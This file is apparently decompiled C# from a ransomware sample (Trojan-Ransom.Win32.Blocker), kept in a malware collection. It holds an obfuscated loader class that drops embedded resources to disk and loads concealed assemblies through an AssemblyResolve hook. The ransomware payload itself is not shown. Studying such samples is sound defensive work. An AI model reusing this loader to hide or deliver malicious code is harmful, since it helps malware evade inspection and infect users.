// Decompiled with JetBrains decompiler
// Type: A.c1f9af90f19d5acdd4845049bcd9444a8
// Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe

using System;
using System.Collections;
using System.IO;
using System.Reflection;

namespace A
{
  internal class c1f9af90f19d5acdd4845049bcd9444a8
  {
    private static readonly Hashtable c7e4f9fe198eee3a882008833d9159fcd = new Hashtable();
    private static readonly Hashtable c117122acd19861812518cbadde59037e = new Hashtable();

    internal static void cfe055d7d0b39490089d150a4a9443779()
    {
      char[] charArray = "".ToCharArray();
      for (int index = 0; index < charArray.Length; ++index)
        charArray[index] = (char) ~(ushort) charArray[index];
      string[] strArray = new string(charArray).Split(new string[1]
      {
        c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(2509)
      }, StringSplitOptions.RemoveEmptyEntries);
      if (strArray != null && strArray.Length >= 0)
      {
        for (int index = 0; index < strArray.Length; index += 2)
        {
          if (strArray[index + 1].StartsWith(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(2514)))
          {
            try
            {
              Assembly executingAssembly = Assembly.GetExecutingAssembly();
              string path = Path.Combine(Path.GetDirectoryName(executingAssembly.Location), strArray[index]);
              if (!File.Exists(path))
              {
                foreach (string manifestResourceName in executingAssembly.GetManifestResourceNames())
                {
                  if (manifestResourceName == strArray[index + 1])
                  {
                    Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(manifestResourceName);
                    byte[] buffer = c723bfb08ed492f620d3f103aea9340c0.c62aa9377688ed67bcfc8a790818c7647(manifestResourceStream);
                    using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write))
                      fileStream.Write(buffer, 0, buffer.Length);
                    manifestResourceStream.Close();
                  }
                }
              }
            }
            catch
            {
            }
          }
          else
            c1f9af90f19d5acdd4845049bcd9444a8.c117122acd19861812518cbadde59037e[(object) strArray[index]] = (object) strArray[index + 1];
        }
      }
      AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(c1f9af90f19d5acdd4845049bcd9444a8.c990de96805170250d1fdfc1d6c753706);
    }

    private static Assembly c990de96805170250d1fdfc1d6c753706(
      object c5669828436342a69e25de42ecd6cb771,
      ResolveEventArgs c01306e5de7acf5afd10f9b0df1fe65dd)
    {
      string name = c01306e5de7acf5afd10f9b0df1fe65dd.Name;
      string empty = string.Empty;
      foreach (string key in (IEnumerable) c1f9af90f19d5acdd4845049bcd9444a8.c117122acd19861812518cbadde59037e.Keys)
      {
        if (key.StartsWith(name))
        {
          Assembly assembly = c1f9af90f19d5acdd4845049bcd9444a8.c7e4f9fe198eee3a882008833d9159fcd[(object) key] as Assembly;
          if ((object) assembly != null)
            return assembly;
          empty = c1f9af90f19d5acdd4845049bcd9444a8.c117122acd19861812518cbadde59037e[(object) key] as string;
          break;
        }
      }
      if (empty.Length == 0)
        return (Assembly) null;
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      foreach (string manifestResourceName1 in executingAssembly.GetManifestResourceNames())
      {
        if (manifestResourceName1 == empty)
        {
          byte[] rawAssembly = c723bfb08ed492f620d3f103aea9340c0.c62aa9377688ed67bcfc8a790818c7647(executingAssembly.GetManifestResourceStream(manifestResourceName1));
          byte[] rawSymbolStore = (byte[]) null;
          try
          {
            string str = empty + c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(2517);
            foreach (string manifestResourceName2 in executingAssembly.GetManifestResourceNames())
            {
              if (manifestResourceName2 == str)
                rawSymbolStore = c723bfb08ed492f620d3f103aea9340c0.c62aa9377688ed67bcfc8a790818c7647(executingAssembly.GetManifestResourceStream(manifestResourceName2));
            }
          }
          catch (Exception ex)
          {
          }
          Assembly assembly;
          if (rawSymbolStore == null)
          {
            assembly = Assembly.Load(rawAssembly);
          }
          else
          {
            try
            {
              assembly = Assembly.Load(rawAssembly, rawSymbolStore);
            }
            catch (Exception ex)
            {
              assembly = Assembly.Load(rawAssembly);
            }
          }
          c1f9af90f19d5acdd4845049bcd9444a8.c7e4f9fe198eee3a882008833d9159fcd[(object) name] = (object) assembly;
          return assembly;
        }
      }
      return (Assembly) null;
    }
  }
}
